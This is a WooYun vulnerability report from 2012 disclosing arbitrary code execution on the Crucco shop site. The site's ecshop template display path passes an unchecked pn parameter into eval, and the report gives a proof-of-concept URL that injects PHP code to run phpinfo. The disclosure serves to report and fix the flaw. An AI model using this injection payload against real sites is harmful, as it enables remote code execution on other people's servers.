当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015124

漏洞标题:初刻Crucco主站任意代码执行

相关厂商:初刻Crucco

漏洞作者: kelon

提交时间:2012-11-22 16:28

修复时间:2012-11-27 16:29

公开时间:2012-11-27 16:29

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-22: 细节已通知厂商并且等待厂商处理中
2012-11-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

初刻用的是ecshop,但是程序员二次开发中太过随意,导致问题产生。。。

详细说明:

http://www.crucco.com/huodongye.php?pn=zucefangsi
在这里我们发现pn的值没有指定,可以任意提交,我们推断应该程序员写成以下代码

$smarty->display($_GET['p']);


我们找到ecshop中的 display方法 发现里面用了eval

function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();
return $content;
}


漏洞证明:

我们提交以下url:
http://www.crucco.com/huodongye.php?pn=str:%3C?php%20phpinfo%28%29;//
会发现可爱的phpinfo出来了

QQ截图20121122162550.png

修复方案:

指定pn的值

版权声明:转载请注明来源 kelon@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-11-27 16:29

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无